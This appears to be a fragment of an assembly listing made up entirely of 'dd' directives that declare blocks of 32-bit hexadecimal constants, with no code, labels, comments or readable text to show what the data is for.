dd 0B26536CAh, 9D0B58FCh, 9761B3A7h, 0DC3031C1h, 6074F5F9h
dd 6E6C8545h, 8B5070C4h, 1F7B4376h, 265903C1h, 0A8CB7A4Bh
dd 0A9F53D21h, 0EA379798h, 1AD325B1h, 0ECF5DFB2h, 55DC1748h
dd 0AD35FBC3h, 1514112Bh, 74D2E51Eh, 9B2DCE7Eh, 0E9314DCEh
dd 603C31DEh, 0C41BEF55h, 8CD7F3D8h, 67C999C9h, 8AFE5965h
dd 0A5D176ABh, 0A0B24291h, 4AAE03CDh, 724D10C0h, 0CB563493h
dd 6080EC60h, 0E8E278B7h, 0DFB6DFB4h, 0F72E5E63h, 0EEAEE0CEh
dd 9269789h, 0C8430144h, 252DC805h, 8C2BFD87h, 0E3E42176h
dd 89944FB5h, 54AB6158h, 0A3B5F8D1h, 82331339h, 627DDD14h
dd 3D003607h, 0DEDA1748h, 0B18FF2CAh, 9FECB3A3h, 0D8D9006Dh
dd 64B4EB9Eh, 0A6943855h, 93FA4D1h, 0ECE03F16h, 1C147A98h
dd 10E8693Eh, 0B2B92BFBh, 8045A3B7h, 563BBDC0h, 42248546h
dd 6DC619F8h, 0EC6C2F6Fh, 1B61826h, 0E8E2D957h, 26F0FD16h
dd 14F71554h, 0ED14855Bh, 0B1259406h, 1D4D0105h, 0AEFE862Dh
dd 45B79D94h, 0B839E3F3h, 0B0E7E30Fh, 0DEB61FA1h, 7FAD392Ch
dd 0AF332867h, 0E9424E23h, 6B9B26Fh, 6D8BE8B7h, 44A9083h
dd 66038844h, 0E7958550h, 1B596288h, 250D342Eh, 909A4D3h
dd 0CD1BCF8Ah, 7B009DF9h, 0DA7F04E9h, 27DDD424h, 98C670F9h
dd 970FC840h, 0F72484C9h, 0C584AB80h, 400FE89Eh, 88D12CCEh
dd 579840D4h, 4A8A691Ah, 0CE08AAB3h, 122F77C6h, 12912C89h
dd 141600E9h, 0AEA9F903h, 74DF3342h, 64FDF599h, 25BBCB52h
dd 0DEF417E0h, 0D0794C2Ch, 90525E37h, 6A299E62h, 0A3E0CA22h
dd 0FDF399A0h, 0FD94949Ch, 200B4C31h, 823E68C4h, 0BBC38D77h
dd 8351B195h, 44316Bh, 0CD9B542Bh, 627C2A56h, 9B84ECC9h
dd 0AABB2B3Bh, 4462CEEAh, 3337453Fh, 158D794Bh, 0EDD2C9C7h
dd 7FE63F5Fh, 0DBD00820h, 17C742BEh, 6A9C5EF1h, 0C4516ABBh
dd 0EDB46833h, 0AE9B3B46h, 0B2B6442Ch, 0AE47EFBAh, 31DB7BEEh
dd 916B773h, 0DA641BB3h, 0AF49A535h, 50977BC6h, 4CF7D567h
dd 0E85CDE49h, 84E7CC61h, 0F9314121h, 0D556A5B7h, 9370A706h
dd 986BBBF8h, 2B9A7564h, 82E8B1A7h, 7270DEBBh, 0A8DDCF55h
dd 9AEB85E9h, 0F1EEA8BCh, 0F6339169h, 0A845A371h, 0BE2BB40h
dd 0DDDB4179h, 26DE2413h, 0BFF087EBh, 0E05479DEh, 47E21827h
dd 5A5EF615h, 0F55B7AC3h, 2F5B71Ah, 23FA9BB1h, 418F8369h
dd 84805793h, 0F1C57084h, 1EAF168Fh, 0B4734D5h, 4B8B0915h
dd 5BC762D1h, 94704468h, 3B7FE1B6h, 0EDEE9D71h, 0B399D779h
dd 0A9BC2CC7h, 58A1905h, 0D879EC11h, 0CD589D74h, 0B71476F1h
dd 773FA4C9h, 4B6430A6h, 9964FF7Eh, 0F7861346h, 2BB3910Fh
dd 0A0C653B9h, 87552CC0h, 57337636h, 0BD2E6BBh, 3F7D72E0h
dd 0CD5A07DDh, 4F987ED2h, 0A8A0906h, 9D237623h, 919DBD9Eh
dd 0CBD9C5A3h, 4D352FF2h, 5804E71Ch, 1E571BC2h, 92281F1h
dd 0DA240225h, 0A5DE9239h, 0D4301144h, 9A44573Bh, 0E200B619h
dd 2D6C37E2h, 60007144h, 3BAD5AC0h, 0C5F44CC4h, 78248998h
dd 73E4628Ah, 0DBF1A546h, 8DAA53DCh, 0A96D56A2h, 98EB85EFh
dd 6D86924h, 1B322B5Bh, 0B8C6D828h, 364D57D5h, 0E2248862h
dd 4210CC6h, 36E6F369h, 4FD1E022h, 0E8E28759h, 5A76060Ah
dd 0C261FCD3h, 0FAE66CB4h, 23C8EA46h, 8F15AB0h, 0EBFFBE45h
dd 30787005h, 0A4F6ED71h, 984924BDh, 0F0435234h, 0F8D55122h
dd 2BB884Eh, 8AA79DC0h, 0A058B864h, 432C4758h, 0B25CA5B5h
dd 0FDF64F4Fh, 5B6E6618h, 0DF2D9365h, 9E17B12Ah, 0A22A5BB1h
dd 0D314B533h, 0A4484B6h, 76888699h, 0CDEB5701h, 4F10E554h
dd 0CE72C23Fh, 2533273Bh, 0DCD2EAB8h, 0C10706A8h, 0E087E82Ch
dd 71D0DE6h, 5A58DC19h, 0F75033DBh, 7E73617Ah, 73383AC6h
dd 4D2105C1h, 51C2D145h, 9DE17384h, 0E100C6D6h, 0C899E0BBh
dd 9C15ADE7h, 968C312Eh, 67BBB98Eh, 0C7428849h, 9E03738h
dd 0D5C539FBh, 21D3FCC5h, 0BF88B386h, 0DC148DC1h, 4A046285h
dd 0CB5BB1C9h, 0E2801EB5h, 6B3D8EDh, 0A1917B41h, 0A96CF2F4h
dd 0ABBBD74Dh, 373900B0h, 5D3143CAh, 0AA0043Fh, 0ADFA3E79h
dd 0A9CFDA68h, 88D1D0ABh, 0CEE94F96h, 329E468Dh, 0C4092ACDh
dd 6672E717h, 1A393A26h, 0B2CC4BECh, 2E52CC3Ah, 2CFDF9h
dd 634D7CBEh, 0C5BF9F58h, 0E8F909C5h, 128A2EA6h, 0CC53186Bh
dd 0BD2A1E61h, 0AF85B4DBh, 0C2484AC5h, 5C08A62Bh, 60736471h
dd 8859B79Eh, 4319F52Ch, 0C7F9A1A2h, 31C05B10h, 0C7333C72h
dd 62145336h, 0AF875B76h, 9293AFECh, 0FF8E2F3Ch, 82F45ED4h
dd 42241E92h, 672C6D69h, 3E8E6B64h, 608627D1h, 171D1F89h
dd 429B6B8h, 0C0FA63B0h, 45A1BF9Dh, 4B861EC8h, 4D3DE949h
dd 52ADADBAh, 0F6E56D84h, 0E9CCC08h, 3A5F95D6h, 17723C4Fh
dd 47BDA122h, 6E7DA101h, 0D67A98FEh, 69F93255h, 92930748h
dd 7BA72574h, 0CABCF39h, 7E4789F7h, 3AAF6BFEh, 0E0B706B2h
dd 0B2705739h, 21F144A2h, 6FB7BDE6h, 0AB94EC99h, 7E97BF25h
dd 32C6307Ch, 53B2B513h, 95DEC438h, 7DC2EC66h, 0B5280B3Bh
dd 0D1883FD0h, 0D69C741h, 5A869E24h, 911393E3h, 66E06CDEh
dd 4BC5AF94h, 5D3FF2C5h, 52A5AD3Ah, 18776E84h, 0BE0F0A0Ch
dd 96874F60h, 46D58033h, 203D512Eh, 8B7B3963h, 0B7F0AF0Dh
dd 85F16E5Dh, 3DAA1722h, 6894B062h, 0C85CC0h, 0DB99006Dh
dd 9A5BBD5Eh, 0F825B1DCh, 4FD04E9Dh, 9959214Eh, 19147BE9h
dd 805FDE4Fh, 7A9BE43Bh
dd 3AC63CBCh, 63B2AD9Fh, 0DFB79B4h, 64D32296h, 93CD04B2h
dd 0E027797Eh, 71ECE79h, 5A00B6EBh, 62127AFBh, 1204582Bh
dd 0A6704CA9h, 7C157672h, 509EFDB3h, 75EADF91h, 771BC6E3h
dd 43F4ECEh, 42159833h, 28BD612Eh, 738D1774h, 423BDEB9h
dd 510E97F7h, 95E49459h, 6436A56Ah, 0FDE41F00h, 8971F0BAh
dd 2BBFE960h, 0E5F55A0Fh, 6AAD33BBh, 298E214Ah, 78EB7B8Bh
dd 0D58413F9h, 864BF547h, 3304AFECh, 63A2504Fh, 0C8247E43h
dd 0BDD3CC06h, 400EEC57h, 0B9C74529h, 22E12413h, 4A6826B9h
dd 61B23EFCh, 377A7C0Eh, 33B2367Dh, 16C38B69h, 9E87E806h
dd 0ACA31072h, 0FEBAE9F3h, 0D7040C56h, 66052B0h, 0D42D61D2h
dd 26634DA4h, 0E5DD2F45h, 0EDE748B1h, 9CDE17B5h, 2AD02C41h
dd 69368F98h, 8D95817Bh, 0C98B9D68h, 0C4CC3A98h, 36D42EEDh
dd 0AA6745B0h, 2A7E7BDFh, 8209EF53h, 0FA538138h, 9C392D13h
dd 56755CFBh, 3DDB1A8Bh, 1908B397h, 19A53F70h, 0D5C282Ah
dd 0E8E18076h, 75911EC9h, 0C44AEB0Bh, 973FEBF5h, 0DC4E31C5h
dd 45788129h, 50C6CE45h, 0F08B71F1h, 15F0C4Fh, 0E8DDE06Eh
dd 0EAEC95B0h, 0D3D582C5h, 0C0A8A8BEh, 5EDCE2CCh, 0AD1B671Dh
dd 0FCCF1766h, 30F920C3h, 59F424D0h, 9CEC109Eh, 0E5646ADDh
dd 0FB3C5999h, 0EAD95B64h, 28E84CC1h, 0E37C5F85h, 4494EFF0h
dd 14C6D21h, 0B3D17D83h, 5AB25390h, 11AEA06Eh, 0DA6FB11Ah
dd 0A85EAC9Ah, 88D10F88h, 92931E95h, 0A596E139h, 21562643h
dd 78FA06BEh, 49B0AC19h, 27076FE9h, 135C37C5h, 25818573h
dd 0EB4FFD99h, 0D6C4F886h, 9A815D35h, 958D34D1h, 59477798h
dd 0B7D462E9h, 4F874167h, 6A6092C2h, 52A55A65h, 15A44028h
dd 0A696F732h, 66CB889Eh, 14E0A1C8h, 391B052Ah, 7DA76CB2h
dd 84959E00h, 0CB84EB11h, 90EC8617h, 653947BCh, 5BB3393Fh
dd 6DDB8148h, 13972F68h, 7875F64h, 51BA4063h, 28F647CEh
dd 396C949h, 0E8ECEE42h, 0FB3ADDF9h, 23AFC71Bh, 4D6905C3h
dd 0C55DBD46h, 8A761184h, 1D7F786h, 0C61A482Bh, 0E4F60CA0h
dd 6264E546h, 97A88077h, 0FC8D21B6h, 4F81EC67h, 0D9D8E81Eh
dd 153EA564h, 40BBA503h, 0C839009Fh, 0E56B9DBFh, 0E8D9BDBEh
dd 0E9005B43h, 0AE22B803h, 96300E77h, 8EECE37Ch, 1EABD0BDh
dd 8C6FA26h, 0DCE10BE7h, 5D251524h, 0B82C6F8Bh, 500EB530h
dd 3B38DFF4h, 0E81FA790h, 2F965918h, 443A43ABh, 0A1137FCEh
dd 0A0513F0Eh, 4D6905ADh, 531DB83Ah, 6E854484h, 0FE6C5C70h
dd 0ACD18C4Ah, 4F00F2B1h, 98C224A3h, 0A6E6B798h, 0ABD03172h
dd 0F0EC7361h, 0E66AEB0Ch, 3408A665h, 9C6FC94Eh, 8A89FF60h
dd 631B8899h, 1694A1CAh, 0A13F911Bh, 3364CDC6h, 0A1ECFE10h
dd 47D21106h, 32BBFD0Fh, 6AC67D64h, 0C3B2AC7Dh, 0F1CEA565h
dd 0EEC33E66h, 3FF5BFC2h, 0A8A50739h, 0E813C26Dh, 52017D1Ch
dd 7500EB72h, 0ED0438E8h, 0DCA1047Ah, 58F2055Ch, 0BFA55085h
dd 638D95B5h, 6C560Ch, 29CFB04Bh, 54A57568h, 9C410638h
dd 78BAECE4h, 0F78F1E89h, 2411BEB9h, 63B2428Ah, 43EA522h
dd 29F6A4C3h, 4F92009Fh, 15061630h, 0A713403h, 7280A493h
dd 0DD1431D7h, 859D7B6Eh, 695986BFh, 0F553C024h, 3EC6D1ABh
dd 0C337D8E8h, 0CD24A4FEh, 2DDCC3F0h, 841BBC7Fh, 5C10F3Bh
dd 0E8C38711h, 5A03C59Ah, 9DC873DBh, 1201E2BEh, 73533F55h
dd 0B1C71D16h, 2A24BCC5h, 8AA18A84h, 0CB9873A3h, 9FB84BC0h
dd 0B335F8E9h, 603FD2AAh, 48338567h, 0FF2E6195h, 7525748Ah
dd 28BCFF59h, 4D4D5A65h, 0EB8BC94Eh, 3199FF60h, 9D2B9298h
dd 2A95A43Bh, 30CD4B72h, 0DD9BC12Eh, 2C1411F9h, 0A3843664h
dd 0E6BB5549h, 9069D142h, 0F34E9D24h, 0ADE6DF22h, 87C3239Eh
dd 0C08BF27Eh, 0D82D0830h, 0DB0A68C1h, 0DF79B59Dh, 2894647Bh
dd 7A84EFBEh, 23ABC039h, 0BD098D24h, 50FD50BAh, 75AA8791h
dd 27F34FE3h, 43EAA03Eh, 43CA89B0h, 4C6F197Eh, 12EEE867h
dd 71D15BC4h, 0FCAEC81Dh, 9D517CCh, 38FEF565h, 9E874CEEh
dd 411E68C1h, 98B68D64h, 284E5DC7h, 99C9B320h, 4BD312Ah
dd 4591F6F6h, 0E57B1125h, 26976A0Ch, 3F6077FDh, 0F3B28D1Ah
dd 31DBD0BFh, 4583DF67h, 400E57D9h, 0D5FA698h, 0E8E00B98h
dd 5AEC582Dh, 0CDEFD433h, 125DF5E6h, 0F61A2949h, 8988F796h
dd 0C5B1C5C9h, 75CBDD85h, 0AFAFD61Fh, 360729B3h, 5425924Fh
dd 9EC11D38h, 0CFA70CE4h, 0FBDC6A89h, 6DFEA092h, 128E02B6h
dd 7FBB59Ah, 0FBEB4CA8h, 26A90068h, 9DF73171h, 0D7143CD6h
dd 0E53FA4AAh, 5D4837CEh, 869122B9h, 3209E3CDh, 0DD440C84h
dd 9F2CD06Dh, 1EA254CDh, 0C22B56B7h, 853B7666h, 990E7752h
dd 85A62747h, 0E71F7217h, 0A5390A86h, 9DED2BDEh, 146DBC8Eh
dd 7A563EACh, 4CDA12C1h, 0F4EBF145h, 0B61BBD0Dh, 76E91A30h
dd 6166BF6h, 583C0073h, 0EAE9427Eh, 0B386A43Ah, 90D75621h
dd 1DEAC8F2h, 653717B5h, 0B112B5E7h, 67CAB3CEh, 0F1B1019Eh
dd 0E2E47E8Bh, 0DF843A98h, 0B13983FDh, 0C5E43122h, 849D8246h
dd 0B9EED942h, 2B44E65Bh, 5738299Dh, 7C562C59h, 111FD4CDh
dd 685A2212h, 6AE62385h, 0D8D2EFE1h, 1619273Dh, 521AEA65h
dd 9DC929BBh, 0C632867Eh, 0E72B3EE6h, 8A7440E5h, 0D0622BC1h
dd 4CB63A41h, 0EACF3DF2h, 0D1C75846h, 0E3B59D81h, 3BD38875h
dd 0CFE0DBA4h, 1CDEBA05h, 54EF93BEh, 5528FCB6h, 0D595A1D9h
dd 24F31749h, 0D8EE0459h, 9CAB9D9Ah, 52D5CCC0h, 31A82EA1h
dd 0D570156Ah, 1FCCF173h, 32D12DC2h, 2E5750A1h, 276E79EEh
dd 0A3B35139h, 81AF45CDh, 0D82C3A99h, 0D00F6998h, 7731EA24h
dd 1F778E61h, 0A57A3477h, 9DED13CEh, 0CAF4866Eh, 694FD139h
dd 150EF472h, 2A55ECCCh, 77BD2744h, 0FFD00Ch, 162A44Ah
dd 0B5DC40C5h, 0BF312Dh, 0AD512DA0h, 1624EF6Dh, 0BC0C787h
dd 26097F49h, 0B1E1B59Ah, 57F7B06Eh, 69853D1Ah, 69FB8D6Ah
dd 0D286BEDFh, 0AA00AB70h, 5A533E6Ah, 5114884Dh, 5A9D06D9h
dd 4FE22C9Bh, 37C93B5Eh, 0A60559A1h, 4DDBA13Ah, 0A86427C9h
dd 500E9B74h, 6FB8379Dh, 4E46D87Fh, 0AA6660F2h, 0F9793BE3h
dd 0FA976E96h, 0DC59126Bh, 9785230h, 4FC4202Dh, 6BA9B4D4h
dd 0BA9931F3h, 843093E2h, 0C88A1D56h, 0BF6949F2h, 0C95F5867h
dd 182DE19Ah, 7843BB26h, 0ABA117A5h, 81F0A562h, 0EE0CB314h
dd 191CECDCh, 9EAE1965h, 0A2EEB1C2h, 664CB392h, 0D63DCEC9h
dd 0BA69FB9Fh, 0EF01E179h, 7ABBD306h, 2F39F07Fh, 0AC6103D9h
dd 0AD40BCCh, 9283C8DBh, 0B5F18F0Eh, 50DA2F22h, 0D39CC87Dh
dd 2FAAF005h, 453783FBh, 216FFE5Eh, 7A5A3E2Ah, 4CFF15C0h
dd 7791C045h, 694E4D84h, 0A61FCC20h, 0C17FDDF9h, 56BAB5A0h
dd 9840ACD8h, 99B14037h, 923A4E49h, 403EC831h, 3BC7FF10h
dd 449F5A65h, 4A6C48B6h, 6C7E0141h, 196C92B3h, 0C77141D1h
dd 4680D2Ch, 0DD1BCEEDh, 83917495h, 6DECFE1Ch, 0E6ABD3F3h
dd 0D8C6FAA7h, 4277B0E8h, 48B35333h, 0C5C32C49h, 0BFF1B1B1h
dd 0F93A9996h, 4EE0F865h, 0DF9ED08Ch, 0F50EDF33h, 280B999h
dd 0DC767071h, 0D0165316h, 5989A8C4h, 459F86C1h, 0FFF09877h
dd 16DDFC3Eh, 2912ADB0h, 3DC0BEFCh, 41B70C0Fh, 4DE27649h
dd 9C98481Dh, 7BA9DB0Ch, 4081264Bh, 0DABCA4CCh, 9E00FF7Ah
dd 86DF6296h, 5E81E467h, 6B05D198h, 0D760F14Dh, 9EBA8ACh
dd 57F9688Dh, 0ABBE23Bh
dd 6AB2EFC1h, 727260E5h, 8825ECF3h, 0ECD31A52h, 2858DF7Ah
dd 772DEAFAh, 9210D305h, 0A575C0C1h, 97F2A78Eh, 4B7711ECh
dd 2344B9D1h, 9EF5E2B9h, 461454BAh, 4A165E93h, 140C420Ch
dd 3C9841CFh, 6D5BCDE9h, 7F57612Eh, 6A4B17B5h, 9D69361Fh
dd 589BC81Ch, 76A4E30Bh, 278EB5ECh, 2FF74C18h, 658ED17Ch
dd 1C5E7449h, 2FD9B1EFh, 0D1005A5Fh, 0A7A1BCCAh, 0D6FC2EB1h
dd 67B1697h, 0C532CD20h, 9B36EF78h, 63B26076h, 0DD22C0B0h
dd 0AD6EF591h, 0F701DB7Ah, 0CD5BC18Ch, 15005A5Ch, 4918D51Dh
dd 9D182D3Eh, 2FCF1A0Eh, 2392C05Bh, 0DB321F1Dh, 0C751ABC5h
dd 5A0E8FBDh, 301981Bh, 4FEED5C1h, 0D27AADB0h, 7D3FB602h
dd 0CD65598Fh, 162C47B6h, 7B3DE413h, 0AE2E133Eh, 8B1CC170h
dd 0EB27CF30h, 0BC0DC003h, 9D7BD8D7h, 3B91B1EEh, 0CE1BDFFBh
dd 29F2BACFh, 881478FDh, 317BE93Bh, 2BBD9F4h, 1FEE2C55h
dd 0C2E68821h, 648341CCh, 57A7AD1Ah, 0C47E618Ah, 683A27CAh
dd 4E0077ADh, 7018359Ch, 9DCCED63h, 0C3BD060Eh, 0DCC83D86h
dd 4C35361Ch, 7A124255h, 0C95FA67Bh, 0FC5007D6h, 0D9CF882Eh
dd 7C456A47h, 6DBE696Bh, 365DA867h, 0E42CA1B6h, 9FC44315h
dd 59F58AA6h, 3961FC67h, 8EAB4C23h, 0F28D7579h, 0E3644804h
dd 61DD9B0h, 50684AA4h, 11BCE12h, 4F3EAA19h, 0D2DAB629h
dd 0BDE6312Dh, 0F8CFBB95h, 7772E64Eh, 21EF4020h, 0C5C3746Fh
dd 0BFF1079Ch, 0B4F7AC92h, 1710477Ch, 5A6EFD7Dh, 350E5313h
dd 0F99A6E12h, 0AAC501CEh, 1A945D0Ch, 533C2992h, 207E3084h
dd 0C08F55F3h, 3A2F943Eh, 38FA9D99h, 0B4B68DEAh, 0DC3D770Dh
dd 0B3C96119h, 4CD3B71Fh, 8BD347BEh, 44EC5938h, 57E7714Ch
dd 2E691086h, 602E107Fh, 1F1F59B8h, 119A555h, 586431E2h
dd 0C5ED8F10h, 8B82039Bh, 2D7C5544h, 0FEFE5D5h, 0E3E68B21h
dd 248347CCh, 0CB388116h, 16B6A727h, 0CB3A07D4h, 4EFFA85Eh
dd 5DBD5D48h, 88E46C1Bh, 28A1256h, 0CB8D29BAh, 0B33EF84Ah
dd 0AD2965C0h, 91F380B5h, 63E8E98Ch, 2AF780E8h, 44C555AAh
dd 4E823277h, 2FA46897h, 735DB3Dh, 293BC81Ch, 962D3EBDh
dd 0ADB5FBC7h, 12141123h, 76D0E50Eh, 1C7B9542h, 0C06C3AB8h
dd 0B86A1EC2h, 0B587457h, 49327A69h, 81406A09h, 320799A3h
dd 723935FDh, 4BA7166Bh, 4DDA6086h, 5A6FFDEEh, 0A85E34B3h
dd 88D23966h, 10EAFE09h, 0ADD1D02Bh, 1E1BD35Ch, 668B69B3h
dd 2BFB23CAh, 0BB7FB4E4h, 4771A23Ah, 4A6E1207h, 0EF7B38AAh
dd 0C25EB256h, 7FF80A0h, 23C75ED9h, 2E94268Fh, 0EE814749h
dd 95DFC338h, 9E1ACEE5h, 0C3742015h, 8F43B330h, 0DAD926D0h
dd 0E2C8C44Fh, 0F665B1E6h, 0BC19D6C6h, 0EFE1BCC6h, 0EAEB876Eh
dd 6FA2D610h, 4DE2853Bh, 0FAB43A4Bh, 2C4D958Fh, 9BF7527Eh
dd 348A7E60h, 37A242C2h, 582F819h, 7D510B17h, 306D1FE9h
dd 0F71886ABh, 9F8B8BDEh, 0DC7A607Ch, 4CA761D6h, 539D49BAh
dd 8AE32584h, 489F7887h, 3D58CF8Eh, 781A604Fh, 0C647C12Eh
dd 0D64DDFCBh, 95784BB6h, 39FC27E3h, 6A924C0Eh, 529966C5h
dd 80F73A7h, 70C16A87h, 0AF4E6217h, 5B61B118h, 0C840DF6Fh
dd 3AE05BE2h, 0AB14AE0Bh, 0C59117BBh, 27ABDC26h, 12CFB3B8h
dd 0D64D36B8h, 8DDA4696h, 3C38BC51h, 0F81B3C19h, 0DBC20F1Ah
dd 0EAB992ABh, 9A5C85E5h, 5E43F2F3h, 9171E8FBh, 75DFC075h
dd 4CF058BEh, 0AF435CCAh, 5FA136EEh, 0ED709843h, 2C2F7B7h
dd 109231C4h, 1838C12Eh, 38B2DEFDh, 0DBCC611Ah, 7CDDB71Eh
dd 8BEE9288h, 12BF693h, 370BB177h, 7022C0B6h, 0DAA66226h
dd 2D07E100h, 0BDBDE6A7h, 26A4B4BEh, 4C69FBA0h, 42879DDCh
dd 55ED9B04h, 6FC48EABh, 0E64D3623h, 0EDDA4996h, 0B38C9AE9h
dd 9DE27615h, 6D5AA223h, 441D7BD5h, 3065E86Ah, 0F71806BBh
dd 78948BBEh, 4B8BB6B9h, 5CC9E927h, 0AD475F2Fh, 0B505C8EEh
dd 0FDBDA7E6h, 0B7A7B52Eh, 142F9AA6h, 4DA8F1D2h, 2BB3EC57h
dd 0A55ADB3Ch, 0C09CDC1Ch, 3157FC8Eh, 0E4D741DDh, 0A2844CCEh
dd 0FF320068h, 7AB89DF8h, 0B632B117h, 0F8C75A44h, 4DE43052h
dd 4151F5A1h, 0F878AD41h, 0CCEB30DEh, 42C665FCh, 0F3B29977h
dd 0CBAF75ABh, 5143759Fh, 7033EB4Eh, 0FDD3FFE5h, 0E8C9645Dh
dd 9A5CD216h, 5D292F28h, 0FE1C3ACEh, 75D91E04h, 2434013Eh
dd 0AF3E5FFAh, 4A2430EEh, 0E07C0Ch, 18E3C3Eh, 0B40EAD35h
dd 71387746h, 0FC29A067h, 0AC8A0E49h, 0ED3303F6h, 6BC09E5Eh
dd 0A2C0D16Eh, 18FC7826h, 1D30597Fh, 271E6242h, 8081B11Bh
dd 40784F49h, 0B5ED21A6h, 654F26E6h, 0F46161EDh, 0F4E8C057h
dd 37CF0669h, 93BD640Ch, 3DB0B644h, 9063739Eh, 787E749h
dd 0CDC2767h, 1701F7F3h, 0C005E393h, 0CA09EC1Dh, 0EF21F461h
dd 0E000CD79h, 68C1EBACh, 51EAB616h, 0C31FCE7Bh, 2DEE835h
dd 3D743A4Bh, 8547EDA5h, 6446463Eh, 35B355DFh, 2432AEC0h
dd 0F924C1D2h, 7C6F0324h, 93C2A54Eh, 7ACB5931h, 0D9281080h
dd 146E4690h, 6BE44EB6h, 8C905A49h, 0C1B6DA62h, 0F4449CF4h
dd 8438FD57h, 5E3ECF5Bh, 3ABA3E0Ah, 80C7635Bh, 989C411Fh
dd 47F51197h, 130E9949h, 751BFA1Ch, 0D784D75Ch, 58D01281h
dd 7619ACD3h, 82839F7Eh, 1E98DDE5h, 4CB737D9h, 61BA5DB0h
dd 5E41617Bh, 0ED30904Bh, 75D2DB69h, 0CEA5D4Dh, 2D675EDEh
dd 0E7EE64EEh, 0D63F171Ch, 0E5CE970Fh, 8952444Eh, 0DBDC9AF0h
dd 0CD7B26CEh, 0EABCFF80h, 17FB9DE8h, 0DC113426h, 0A2414C3Eh
dd 26645BBEh, 0CA141349h, 13848298h, 8ABB06F5h, 4D5337D4h
dd 0B3B3775Bh, 7C25D82Eh, 0E5BB6A6Eh, 0A81EEFABh, 98D30176h
dd 0DB142808h, 0D37E350Ch, 0E8C2E918h, 82831F51h, 1E97DDC5h
dd 4CB13798h, 506B4D30h, 4B4B8B91h, 36C87E3h, 0DD6DFC1h
dd 85FBACF0h, 89EF312Eh, 274ED072h, 0BC1AEF59h, 0E1D03750h
dd 0D6D39126h, 68DE4D88h, 762EB331h, 65F9477Eh, 76FB9D1Ah
dd 0C33167C4h, 5CEDDF35h, 0B0B4CE45h, 0A1E8A154h, 90016598h
dd 1F4420E5h, 0C8C7D77Bh, 4337EB4Ch, 0D254ED0h, 5280690Bh
dd 40F32F5Dh, 0FD135AFDh, 8714D850h, 677E5571h, 9D1928D3h
dd 0DD14633Bh, 0C7031A26h, 4D4CCC97h, 2C0159C5h, 0B450D421h
dd 9893710Ch, 0A8041CD2h, 0E0F94D40h, 32FE21DAh, 26B3499Fh
dd 0BF5F9349h, 142F481Dh, 8B8FEB0Bh, 0B6B2F574h, 0A366B39Dh
dd 5F89007Ch, 61DBE8DAh, 0D3ED21F7h, 0A6F067AEh, 4C1131B6h
dd 0F1EBB6DAh, 823CFD87h, 6DEDCF3Bh, 3FC4882Bh, 0C4AEF23h
dd 5153E971h, 3B80AD3Bh, 0CF0ED823h, 0E2D3ADEEh, 0A714C842h
dd 0D37E7574h, 0E9A66928h, 13688875h, 0B9EDDDF6h, 1FAD33FFh
dd 52B14DBAh, 8D2F2D84h, 2DF58CA5h, 9BB718C3h, 7B03A04Fh
dd 88EA412Eh, 214E9072h, 191A6F59h, 0CC126CBDh, 2A82F2C7h
dd 84DAA0A4h, 3071A9Dh, 97910057h, 0E1279D9Eh, 7F99E102h
dd 0FB805A9Dh, 4E79BCEBh, 2EEB86ADh, 0BE78E8EDh, 0F6538F24h
dd 7E39305Fh, 0D9DAAAB2h, 0CECAB3F9h, 2DF2E68Eh, 7157BA4Bh
dd 74564219h, 47FEF8BFh, 556EAAEDh, 1066C6F3h, 0ED6C60ABh
dd 21EC8D66h, 0B33F32E9h, 0AFF4F8D0h, 3E5EBB94h, 575B29Bh
dd 0E1B8EBC5h, 0BFBBDB1h, 8BC2B9ABh, 0A53E5898h, 0A0246485h
dd 5D543AB3h, 6EFFE8B4h, 6ECCA5F3h, 0D87B4C1Dh, 0A572FC38h
dd 4ABE62FCh, 5A41B0F1h, 5CBA9E67h, 3BA4B7B1h, 5B91BFC9h
dd 437B14A3h, 8A625793h
dd 0E3BCB1AEh, 234D8EC9h, 10689D0h, 2D56A266h, 363C5C3Fh
dd 7466C8AEh, 0E8FDE8BDh, 5A9D2994h, 0C392E5EBh, 4F746965h
dd 0C7FA887Ah, 4895DE28h, 0C89E5B45h, 5B16E980h, 138F27Eh
dd 2737EFC1h, 823B8567h, 0E1342877h, 0EC4F139Fh, 0C6235BC4h
dd 0B982C81Ch, 0B60137ECh, 0C65A4CFh, 0D7679A51h, 0BBC4E8DDh
dd 47E29D00h, 0D7453582h, 2E50A51Eh, 23B4CE09h, 0AD2B11EDh
dd 45EEEB5Fh, 86D1D981h, 0ECC1B913h, 0BE28E8Ch, 5DDA9DADh
dd 5047A699h, 80884D4Ah, 89D7B6E6h, 52C56F48h, 5A61D565h
dd 10666703h, 78C8584Bh, 4A72345Dh, 5C98E79Ch, 5F332E3Ah
dd 4BF7A091h, 29DBEE3h, 0CF770C3Ch, 0C7D6A9DAh, 789331D6h
dd 0FD58C80Dh, 0C3CB1E9Ch, 5A2D4B96h, 0BA0EEAD7h, 7C58C015h
dd 92EE48A1h, 0BF135076h, 0BCE39D6Ah, 5381B0DAh, 0B63FA695h
dd 5964CFD2h, 0AEEC1C62h, 209EF22h, 86D18963h, 0FD513C94h
dd 0ECA27066h, 2825615Ah, 7DD34DFFh, 0B65572Fh, 0E2C33F3Fh
dd 7F020D4Bh, 4A60004Eh, 629E58F4h, 1264F80Bh, 0C17AB669h
dd 84732229h, 0F9D15A5Ah, 436669C4h, 90C07B10h, 0A707623Fh
dd 927B400Fh, 82C5E4D1h, 124D3072h, 0F5FC3659h, 0E93B27E3h
dd 0F70F1750h, 53CAF5D6h, 8D4F4C1Dh, 0B3616A8Fh, 8E9B48B3h
dd 0D30DC5F1h, 0A37DC2F2h, 916A5A58h, 2FFC69E5h, 1084EB5Fh
dd 70D389CBh, 6D293C07h, 6BB21AF2h, 0DDA4B55h, 0D22FC498h
dd 40F0C150h, 74A6C4FBh, 0EA9E6AB3h, 0D33BF595h, 0CEA090FFh
dd 0C71548B8h, 221B4E19h, 4CF03583h, 5C334F3Ah, 888B2A84h
dd 0E1DCBD76h, 2B02FB6Dh, 0A8B9D4Ch, 6886D2E8h, 1D3074C7h
dd 27B068CCh, 0A09377D2h, 0FCCC264Dh, 0C5F966CDh, 0FFB7CF2Eh
dd 0AB914503h, 8E97D88Dh, 93B9B064h, 0CA4055E6h, 22645846h
dd 0A46186F9h, 0B48C9EC7h, 0FA464DAEh, 7AF9B82Eh, 27C78F14h
dd 7DC470C7h, 0BD93EF67h, 0AA1922BBh, 77D34DF5h, 62FD673Bh
dd 0C2750A6Dh, 6273EDE6h, 7661C8Bh, 327123A5h, 8FD8D920h
dd 0F030DC10h, 0C0516DD7h, 0BF2973B6h, 0C7528BC2h, 9D0E6DE6h
